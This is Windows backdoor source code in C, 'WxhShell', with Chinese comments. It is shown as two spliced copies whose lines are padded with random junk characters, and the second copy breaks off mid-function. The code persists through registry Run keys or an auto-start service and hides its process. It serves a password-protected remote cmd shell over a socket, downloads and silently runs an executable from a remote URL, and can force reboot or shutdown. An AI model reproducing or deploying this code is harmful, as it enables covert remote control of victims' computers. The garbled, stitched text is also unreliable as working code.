    else { N4-J !r@#~  
    closesocket(wsh); ,iUx'U  
    ExitThread(0); 4pv :u:Z  
    } &.B6P|N'  
    break; IrC=9%pd$R  
    } ~G:7*:[b  
  // 获取shell J K^;-&  
  case 's': { Y1IlH8+0  
    CmdShell(wsh); O2f2Fb$B7  
    closesocket(wsh); fO nvC*  
    ExitThread(0); ;wrgpP3  
    break; Jmx }r,j  
  } <^{:K`  
  // 退出 +6atbbe}   
  case 'x': { W^f#xrq>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TVA1FD  
    CloseIt(wsh); O6]~5&8U.  
    break; W[s>TDc`v  
    } EM}z-@A>  
  // 离开 5{Wl(jwb  
  case 'q': { RkzBn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1O4"MeF  
    closesocket(wsh); 0 HmRl  
    WSACleanup(); Q2Rj0E`  
    exit(1); )/'s& D  
    break; ^cm^JyS)  
        } ri ~2t3gg  
  } IIkJ"Qg.  
  } f'dI"o&^/d  
 Km7  
  // 提示信息 $(U|JR@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ig{5 ]wZ(  
} -s"lW 7N^  
  } iXFaQ  
9K!='u`  
  return; .2xkf@OP  
} 2X_ef  
lDeWs%n  
// shell模块句柄 !=:c8V  
int CmdShell(SOCKET sock)  ~A/_\-  
{ E3!twR*Aw  
STARTUPINFO si; iY-dM(_:]  
ZeroMemory(&si,sizeof(si)); >Fz$DKr[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HV@:!zM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {QID@  
PROCESS_INFORMATION ProcessInfo; nKdLhCN'=  
char cmdline[]="cmd"; "L]_NS T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Z-`-IL  
  return 0; j$6}r  
} e^yB9b  
jxvVp*-=<j  
// 自身启动模式 nP^$p C  
int StartFromService(void) HdM;c*K  
{ tANG ]  
typedef struct / <p HDY  
{ il~,y8WTU{  
  DWORD ExitStatus; jPfoI-  
  DWORD PebBaseAddress; $$a"A(Y  
  DWORD AffinityMask; tF|bxXs Z  
  DWORD BasePriority; h.*|4;  
  ULONG UniqueProcessId; (agdgy:#  
  ULONG InheritedFromUniqueProcessId; Xc!w y9m  
}   PROCESS_BASIC_INFORMATION; 3>+;G4  
Tx*m p+q  
PROCNTQSIP NtQueryInformationProcess; #82B`y<<y/  
hlRE\YO&8R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y{KJk'xN5W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ry'(m M  
Lmb<)YY  
  HANDLE             hProcess; \IKr+wlN8  
  PROCESS_BASIC_INFORMATION pbi; ]NCOi ?Odx  
cu-WY8n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ty=}A MMyE  
  if(NULL == hInst ) return 0; kbY@Y,:w  
[C$ 0HW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #_d%hr~d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }1V&(#H2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &+v&Dd&  
+-hmITJ v  
  if (!NtQueryInformationProcess) return 0; F r~xN!  
e\<I:7%Rg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~J|0G6H  
  if(!hProcess) return 0; V;"'!dVX  
>KE(%9y~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7u zN/LAF  
iQKfx#kt  
  CloseHandle(hProcess); U^xFqJY6  
L$g;^@j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pfT7  
if(hProcess==NULL) return 0; (I$hw"%&  
AF@C9s  
HMODULE hMod; _PIk,!<  
char procName[255]; d1-QkW^0y  
unsigned long cbNeeded; o! 8X< o  
Z]tz<YSkG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \4ZQop  
wQ5__"D  
  CloseHandle(hProcess); yC[}gHv  
&~i1 @\]  
if(strstr(procName,"services")) return 1; // 以服务启动 *4ID$BmO  
(< h,R@:  
  return 0; // 注册表启动 "P6MLf1  
} n#*cVB81  
f =Nm2(e  
// 主模块 MYjCxy-;A  
int StartWxhshell(LPSTR lpCmdLine) O%Mh g\#B  
{ n3(HA  
  SOCKET wsl; fc91D]c  
BOOL val=TRUE; 1n^xVk-G  
  int port=0; ~L2Fo~fw  
  struct sockaddr_in door; `6zoZM7?Y  
Jps!,Mflc  
  if(wscfg.ws_autoins) Install(); i |t$sBIh  
9:1ZL_yf  
port=atoi(lpCmdLine); S7bSR?~L[  
8:f( PN  
if(port<=0) port=wscfg.ws_port; v[m>;Ubg&  
4h|vd.t  
  WSADATA data; C<3An_Dy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9I,Trk@&  
V{][{5SR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1peN@Yk2W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '>Z Ou3>  
  door.sin_family = AF_INET; Q]8r72uSk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y=t -/*K  
  door.sin_port = htons(port); mwt3EV5  
FGC[yz1g:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ae"B]Cxb_X  
closesocket(wsl); ]]+"`t,-  
return 1; p|zW2L  
} x`4">:IA  
e. [h  
  if(listen(wsl,2) == INVALID_SOCKET) { "h "vp&A  
closesocket(wsl); C`fQ` RL\  
return 1; `W5f'RU  
} [|vd r.  
  Wxhshell(wsl); b<%6aRC\  
  WSACleanup(); #}.db?[Rv  
dP82bk/e  
return 0; C[75 !F   
1'ZBtX~A  
} &a V`u?'e  
dI`b AP;\  
// 以NT服务方式启动 y@F{pr+dA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !^y'G0  
{ :>|[ o&L  
DWORD   status = 0; GE|V^_|i  
  DWORD   specificError = 0xfffffff; vV%w#ULxE~  
G3q\Z`|3h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u BvN*LQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kg 56.$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2vynz,^ET  
  serviceStatus.dwWin32ExitCode     = 0; 4v;/"4)'  
  serviceStatus.dwServiceSpecificExitCode = 0; 7v{Dwg  
  serviceStatus.dwCheckPoint       = 0; YQ]W<0(  
  serviceStatus.dwWaitHint       = 0; env]*gx+=  
jVr:O `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =m UtBD.;  
  if (hServiceStatusHandle==0) return; A," u~6Bn  
cY5h6+_  
status = GetLastError(); <%! EI@N  
  if (status!=NO_ERROR) {Wt=NI?Ow  
{  [5H#ay  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m}rUc29cS,  
    serviceStatus.dwCheckPoint       = 0; XOU 9r(  
    serviceStatus.dwWaitHint       = 0; 4h-tR  
    serviceStatus.dwWin32ExitCode     = status; {D$+~ lO  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8RB\P:6h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bx)4BPaN  
    return; |Gz(q4  
  } ~OXPn9qPp  
"~XAD(T6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; alyWp  
  serviceStatus.dwCheckPoint       = 0; ol-U%J  
  serviceStatus.dwWaitHint       = 0; _qr?v=,-A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :U=*@p4?  
} dW6sA65<Y  
t~3!| @3i  
// 处理NT服务事件,比如:启动、停止 `$05+UU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H+` Zp  
{ jx J5F3d  
switch(fdwControl) nwf(`=TC  
{ "d% o%  
case SERVICE_CONTROL_STOP: w~Aw?75 t  
  serviceStatus.dwWin32ExitCode = 0; v#TU7v?~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N^v"n*M0|  
  serviceStatus.dwCheckPoint   = 0; U<K)'l6#2n  
  serviceStatus.dwWaitHint     = 0; c1Skt  
  { =nG g k}Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9]L>Wj  
  } ",Mr+;;:[  
  return; Dc2H<=];  
case SERVICE_CONTROL_PAUSE: \<TWy&2&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +xp)la.  
  break; m9 1Gc?c  
case SERVICE_CONTROL_CONTINUE: *jM]:GpyoU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G8}k9?26(  
  break; jBb:)  
case SERVICE_CONTROL_INTERROGATE: A{MMY{K3  
  break; z#m ~}  
}; wt]onve}%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UyENzK<%u  
} ~ 6DaM!  
&sJ-&7YZ  
// 标准应用程序主函数 \8g'v@$wG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VX0}x+LJ  
{ L xP%o  
%g:6QS|  
// 获取操作系统版本 FN\*x:g  
OsIsNt=GetOsVer(); Xh+;$2l.B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q WcQtM  
Zjd9@  
  // 从命令行安装 R.(PZCvS  
  if(strpbrk(lpCmdLine,"iI")) Install(); Qco8m4n  
F$M^}vsjGx  
  // 下载执行文件 ;Nk,bb K  
if(wscfg.ws_downexe) { |0OY> 5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |h%=a8  
  WinExec(wscfg.ws_filenam,SW_HIDE); H\RejGR  
} Ym%XCl  
g-?@a  
if(!OsIsNt) { Ogv9_ X8  
// 如果时win9x,隐藏进程并且设置为注册表启动 >e>%AMzo[  
HideProc(); m~04I~8vk  
StartWxhshell(lpCmdLine); F/V -@SF  
} bI+/0X x  
else &n9&k Em  
  if(StartFromService()) "zj[v1K9-A  
  // 以服务方式启动 T[Lz4;TRk5  
  StartServiceCtrlDispatcher(DispatchTable); [n4nnmM  
else Wz%H?m:g#  
  // 普通方式启动 galzk$D  
  StartWxhshell(lpCmdLine); LY-,cXm&|  
G>=Fdt7Oc  
return 0; 9A~w2z\G  
} rtNYX=P  
iYD5~pK8  
sKCYGt$  
<p/zm}?')  
=========================================== DG?g~{Y~b  
t'1g+g  
bFjH* ~ P  
,BUrZA2\U$  
1oe,>\\  
>dx/k)~~-L  
" `*6|2  
[;H-HpBaa  
#include <stdio.h> kM J}sS  
#include <string.h> IdqCk0lVD  
#include <windows.h> j"K^zh  
#include <winsock2.h> C#-HWoSi  
#include <winsvc.h> }{y)a<`  
#include <urlmon.h> _B>'07D0  
{]2^b)  
#pragma comment (lib, "Ws2_32.lib")  & .0A%  
#pragma comment (lib, "urlmon.lib") nrHC;R.nE  
T*:w1*:  
#define MAX_USER   100 // 最大客户端连接数 ! c`&L_ "!  
#define BUF_SOCK   200 // sock buffer }`kiULC'=  
#define KEY_BUFF   255 // 输入 buffer A'BqNsy  
{n|ah{_p|  
#define REBOOT     0   // 重启 "AU.Eh"-1  
#define SHUTDOWN   1   // 关机 nNq<x^@83  
v4<W57oH  
#define DEF_PORT   5000 // 监听端口 elAWQEu s  
XLC9B3Jt  
#define REG_LEN     16   // 注册表键长度 )9^)t   
#define SVC_LEN     80   // NT服务名长度 Z#.1p'3qm1  
,Kl:4 Tv  
// 从dll定义API "\i H/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U0t|i'Hx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fcxg6W'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P0yDL:X[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v^ "qr?3V  
BBM[Fy37!}  
// wxhshell配置信息 ,`JYFh M  
struct WSCFG { sC.b '1P  
  int ws_port;         // 监听端口 Q7rBc wm5  
  char ws_passstr[REG_LEN]; // 口令 (?m{G Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2TU V9Z  
  char ws_regname[REG_LEN]; // 注册表键名 & XmaGtt  
  char ws_svcname[REG_LEN]; // 服务名 f";pfu_FZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [I=|"Ic~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yUj`vu 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >ei~:z]R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =WjHf8v;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LD ]-IX&L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N"}>);r  
Xf_#O'z  
}; Kf1J;*i|\  
{;DAKWm@T  
// default Wxhshell configuration gu3iaM$W  
struct WSCFG wscfg={DEF_PORT, Mh*r)B~%[  
    "xuhuanlingzhe", ||JUP}eP  
    1, 4XNheP;b  
    "Wxhshell", VE-l6@`  
    "Wxhshell", h~7#$i  
            "WxhShell Service", pd:7K'yaw  
    "Wrsky Windows CmdShell Service", "h#R>3I1)  
    "Please Input Your Password: ", g:z<CSIq/  
  1, D#UuIZ  
  "http://www.wrsky.com/wxhshell.exe", ''YqxJ fb  
  "Wxhshell.exe" I<O$);DV'  
    }; p;>A:i  
u [._RA  
// 消息定义模块 &nP0T-T5y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g E _+r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vx(*OQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /1MmOB  
char *msg_ws_ext="\n\rExit."; "aOs#4N  
char *msg_ws_end="\n\rQuit."; RqgN<&g?  
char *msg_ws_boot="\n\rReboot..."; U xBd14-R_  
char *msg_ws_poff="\n\rShutdown..."; kzKej"a;  
char *msg_ws_down="\n\rSave to "; Ec!!9dgRQ  
S7)qq  
char *msg_ws_err="\n\rErr!"; U3X5tED  
char *msg_ws_ok="\n\rOK!"; EW|$qLg  
W w,\s5Uw  
char ExeFile[MAX_PATH]; }9+;-*m/  
int nUser = 0; uR ?W|a  
HANDLE handles[MAX_USER]; j@>D]j  
int OsIsNt; Yy88 5  
Q]YB.n3   
SERVICE_STATUS       serviceStatus; }:m/@LKB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ux<|8S  
o5bp~.m<  
// 函数声明 1ZI1+TDH  
int Install(void); ^FKiVKI:  
int Uninstall(void); S3\NB3@qC&  
int DownloadFile(char *sURL, SOCKET wsh); eCYPd-d  
int Boot(int flag); Fp/{L  
void HideProc(void); C3}:DIn"w  
int GetOsVer(void); 3]l)uoNt/  
int Wxhshell(SOCKET wsl); ~ubvdQEW  
void TalkWithClient(void *cs); hI'WfF!X  
int CmdShell(SOCKET sock); rW)h ? , b  
int StartFromService(void); !l9{R8m>eJ  
int StartWxhshell(LPSTR lpCmdLine); pcy;]U ?  
<{isWEW9]3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jc&k-d>=G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !&{rnK  
{4D`VfX_  
// 数据结构和表定义 i)?7+<X  
SERVICE_TABLE_ENTRY DispatchTable[] = =#2c r:1  
{ ;cXw;$&D  
{wscfg.ws_svcname, NTServiceMain}, Kcm+%p^  
{NULL, NULL} 6nZ]y&$G-k  
}; Ipk;Nq  
S MWXP  
// 自我安装 UGSZg|&6#*  
int Install(void) R9U{r.AA  
{ 3>KEl^1DB  
  char svExeFile[MAX_PATH]; z:>cQUYl  
  HKEY key; 2aj1IBnz6/  
  strcpy(svExeFile,ExeFile); *4}_2"[  
Co1d44Q  
// 如果是win9x系统,修改注册表设为自启动 VBX)xQazU  
if(!OsIsNt) { 0~bUW V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wef%f] u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pR61bl)  
  RegCloseKey(key); wtw=RA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w"v!+~/9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  r{;NGQYs  
  RegCloseKey(key); yp#!$+a}  
  return 0; PMfW;%I.  
    } ,^:{!?v  
  } i "h\*B=  
} w:t~M[kTW  
else { $*ff]>#  
4j={ 9e<  
// 如果是NT以上系统,安装为系统服务 :C:6bDQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %L=e%E=m  
if (schSCManager!=0) 4>d4g\Z0L  
{ iFd !ED  
  SC_HANDLE schService = CreateService { ADd[V  
  ( 'z$$ZEz!C  
  schSCManager, F\m^slsu7=  
  wscfg.ws_svcname, z`wIb  
  wscfg.ws_svcdisp, Zw]"p63eMa  
  SERVICE_ALL_ACCESS, ,<v0(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wZ(1\ M(  
  SERVICE_AUTO_START, fz(YP=@ZnP  
  SERVICE_ERROR_NORMAL, #EH=tJgO|J  
  svExeFile, BU:;;iV8  
  NULL, =W~7fs  
  NULL, ON,[!pc  
  NULL, i#'K7XM2  
  NULL, MgeC-XQM  
  NULL |Xt.[1  
  ); o701RG ~)  
  if (schService!=0) csy6_q(  
  { MTu\T  
  CloseServiceHandle(schService); Sq5,}oT_{j  
  CloseServiceHandle(schSCManager); \Y4(+t=4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B[N]=V  
  strcat(svExeFile,wscfg.ws_svcname); ~/L:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (!* l+}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *ERV\/  
  RegCloseKey(key); _4by3?<c  
  return 0; J :O!4gI  
    } cYA:k  
  } e$[O J<t  
  CloseServiceHandle(schSCManager); , Y:oTo=~  
} bo\ bs1  
} 7m2iL#5[  
2Re8rcQQU  
return 1; "*bLFORkq'  
} s<!A< +Sh  
r8EJ@pOF2w  
// 自我卸载 ]64Pk9z=  
int Uninstall(void) }>{R<[I!G  
{ D_l$"35?  
  HKEY key; %3`*)cp@  
y!b"Cj  
if(!OsIsNt) { "Hw%@]#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xh8U}w<k6  
  RegDeleteValue(key,wscfg.ws_regname); 1S?~ c25=h  
  RegCloseKey(key); HZ9>4G3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hkPMu@BI  
  RegDeleteValue(key,wscfg.ws_regname); G#%Sokkb'  
  RegCloseKey(key); ^(q .f=I!a  
  return 0; .q 2r!B  
  } EID-ROMO  
} WSozDNF!'f  
} QBa+xI_ J  
else { L(3&,!@  
p*<Jg l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >#h,q|B  
if (schSCManager!=0) ~i1 jh:,  
{ _g Mr]%Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vv)q&,<c  
  if (schService!=0) zfop-qDOc  
  { !$NK7-  
  if(DeleteService(schService)!=0) { r5gqRh}+  
  CloseServiceHandle(schService); dQ*^WNUB  
  CloseServiceHandle(schSCManager); g%J\YRo  
  return 0; OG{*:1EP  
  } _)j\ b  
  CloseServiceHandle(schService); P].Eb7I  
  } >~ *wPoW  
  CloseServiceHandle(schSCManager); ,|*Gr"Q=  
} "EpH02{i  
} ,x\qYz+7|  
%vO(.A+  
return 1; `\@n&y[`7  
} m ^FKE:  
]U#of O  
// 从指定url下载文件 3^P;mQ$p1  
int DownloadFile(char *sURL, SOCKET wsh) f I%8@ :  
{ GJWGT`"  
  HRESULT hr; 0=&S?J#!  
char seps[]= "/"; H`M|B<.  
char *token;  dw;<Q  
char *file; |[~ S&  
char myURL[MAX_PATH]; zHKP$k8  
char myFILE[MAX_PATH]; [.&JQ  
r], %:imGr  
strcpy(myURL,sURL); COsy.$|4  
  token=strtok(myURL,seps); &yP|t":HWX  
  while(token!=NULL) $%$zZJ@/  
  { ;39b.v\^  
    file=token; v#gXXO[P1  
  token=strtok(NULL,seps); B.=n U  
  } (1cB Tf  
Jt}`oFQ5l  
GetCurrentDirectory(MAX_PATH,myFILE); T 9`AL  
strcat(myFILE, "\\"); jW7ffb `O  
strcat(myFILE, file); ; o'>`=Y  
  send(wsh,myFILE,strlen(myFILE),0); K bQXH!J  
send(wsh,"...",3,0); xq.kH|bH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ts<\n-f  
  if(hr==S_OK) rV\G/)xL  
return 0; UB+~K/  
else /*;a6S8q  
return 1; '__>M>[  
\5tG>>c i  
} 3XB`|\:  
t;Z9p7rk  
// 系统电源模块 +wz1kPRs  
int Boot(int flag) 7:g_:}m  
{ [*u\S  
  HANDLE hToken; *A`ZcO=   
  TOKEN_PRIVILEGES tkp; UU(Pg{DA 6  
db_Qt'>  
  if(OsIsNt) { }Tk:?U{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :YRHO|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^X6e\]yj  
    tkp.PrivilegeCount = 1; @-K[@e/uwy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xl1%c7r.1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (gY W iz  
if(flag==REBOOT) { =^p}JhQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]["%e9#aX  
  return 0; f?ycZ  
} )-"<19eu  
else { P(yLRc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (xvg.Nby  
  return 0; CT_tJ  
} nCwA8AG  
  } =c 9nC;C  
  else { '4 d4i  
if(flag==REBOOT) { ysi=}+F.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IAzFwlO9  
  return 0; ZD]{HxGL!  
} U:99w  
else { Y5 ;a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k?HdW(HA  
  return 0; q|%+?j(  
} J<H]vs  
} :~R a}  
Y,L[0%  
return 1; X]9<1[f  
} `%~}p7Zu  
 z9&j  
// win9x进程隐藏模块 Ax\d{0/oL2  
void HideProc(void) _\yR/W~  
{ ]%-U~avph  
%CYo, e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %}H 2  
  if ( hKernel != NULL ) 6:S, {@G  
  { MCTJ^g"D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D^>d<LX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Fs~*-R$  
    FreeLibrary(hKernel); x>mI$K(6M  
  } wQhuU  
lvODhoT  
return; /~s<@<1!X  
} OcWKK!A  
\ :s%;s51  
// 获取操作系统版本 \z6UWZ  
int GetOsVer(void) d 4tL  
{ >Vx_Xv`Jwb  
  OSVERSIONINFO winfo; ]v5/K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )uAY_()/  
  GetVersionEx(&winfo); DazoY&AWE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X0+E!~X$zM  
  return 1; AH/^v;-  
  else GK-P6d  
  return 0; hC8WRxEGq  
} 8a@k6OZ  
OY(CB(2N  
// 客户端句柄模块 <K&A/Ue  
int Wxhshell(SOCKET wsl) I6;6x  
{ yKrb GK*=_  
  SOCKET wsh; BI%~0 Gj8  
  struct sockaddr_in client; -1B.A  
  DWORD myID; 6ERMn"[_w  
#wT6IU1  
  while(nUser<MAX_USER) xx1lEcj  
{ &QD)1b[U  
  int nSize=sizeof(client); Z~h6^h   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k7@QFw4 j  
  if(wsh==INVALID_SOCKET) return 1; ]=ApYg7!  
P5B,= K>r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YCStX)r  
if(handles[nUser]==0) GPGP teC  
  closesocket(wsh); H-&27?s^  
else T<>B5G~%  
  nUser++; ]!!?gnPd5  
  } p),* 4@2<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @i(9k  
u59l)8=  
  return 0; {R63n  
} ny+r>>3Td  
mzM95yQ^Z  
// 关闭 socket ZZ{c  
void CloseIt(SOCKET wsh) %U}6(~  
{ 7neJV  
closesocket(wsh); {Mb<on W  
nUser--; ng|^Zm%   
ExitThread(0); @8`I!fZ  
} 3B%7SX  
G na%|tUz|  
// 客户端请求句柄 W;R6+@I[  
void TalkWithClient(void *cs) XNx$^I=  
{ EUI*:JU-  
:+>7m  
  SOCKET wsh=(SOCKET)cs; ;*zLf 9i  
  char pwd[SVC_LEN]; 5*A5Y E-  
  char cmd[KEY_BUFF]; ^1c7\"{  
char chr[1]; RFS} !_t+|  
int i,j; 'l!\2Wv2  
KC; o   
  while (nUser < MAX_USER) { mX.mX70|J  
Xl2g Hh  
if(wscfg.ws_passstr) { |6?s?tC"u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xc @$z* w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d>I)_05t  
  //ZeroMemory(pwd,KEY_BUFF); NTZ3Np`  
      i=0; w+j\Py_G"  
  while(i<SVC_LEN) { Y ~I>mc]  
'l\PL1  
  // 设置超时 [S]q'c)  
  fd_set FdRead; 44~ReN}`  
  struct timeval TimeOut; EI?8/c  
  FD_ZERO(&FdRead); t>%b[(a  
  FD_SET(wsh,&FdRead); IFr"IOr'l  
  TimeOut.tv_sec=8; mT@Gf>}/A  
  TimeOut.tv_usec=0; 9&zR i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }m?Ut|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =ZU!i0 K  
W\Scak>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Nvhp]E  
  pwd=chr[0]; qHe H/e%`V  
  if(chr[0]==0xd || chr[0]==0xa) { '^WR5P<8c  
  pwd=0;  (t5y$b c  
  break; &@{`{  
  } dVMl;{  
  i++; Ca?w"m~h  
    } sl$y&C-  
^Lfwoy7R  
  // 如果是非法用户,关闭 socket ZBY}Mz$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]&N'+T  
} %nq<nfDT  
2P'Vp7f6 Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :+QNN<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S/pU|zV[  
TBJ?8W(  
while(1) { euT=]j  
?(B}w*G~  
  ZeroMemory(cmd,KEY_BUFF); "38<14V  
6ZI7V!k  
      // 自动支持客户端 telnet标准   O"TVxP:  
  j=0; S=V  
  while(j<KEY_BUFF) { Ufi#y<dP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @,Dnl v|?  
  cmd[j]=chr[0]; v+sF0 j\P  
  if(chr[0]==0xa || chr[0]==0xd) { n{<@-6  
  cmd[j]=0; 0)h.[O8@>  
  break; ZW"f*vwQo  
  } : Gi8Jo  
  j++; ":/Vp,g  
    } `g(#~0R  
./7-[d  
  // 下载文件 nSSJl  
  if(strstr(cmd,"http://")) { jZidT9[g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U)-aecB!  
  if(DownloadFile(cmd,wsh)) avG#0AY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \,p?pL<'  
  else rttKj{7E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] X]!xvN@  
  } OraT$lV)_  
  else { N@k' s   
W"#<r  
    switch(cmd[0]) { RB""(<  
  <T.R%Jys  
  // 帮助 " @ ""  
  case '?': { ^qC.bv]&  
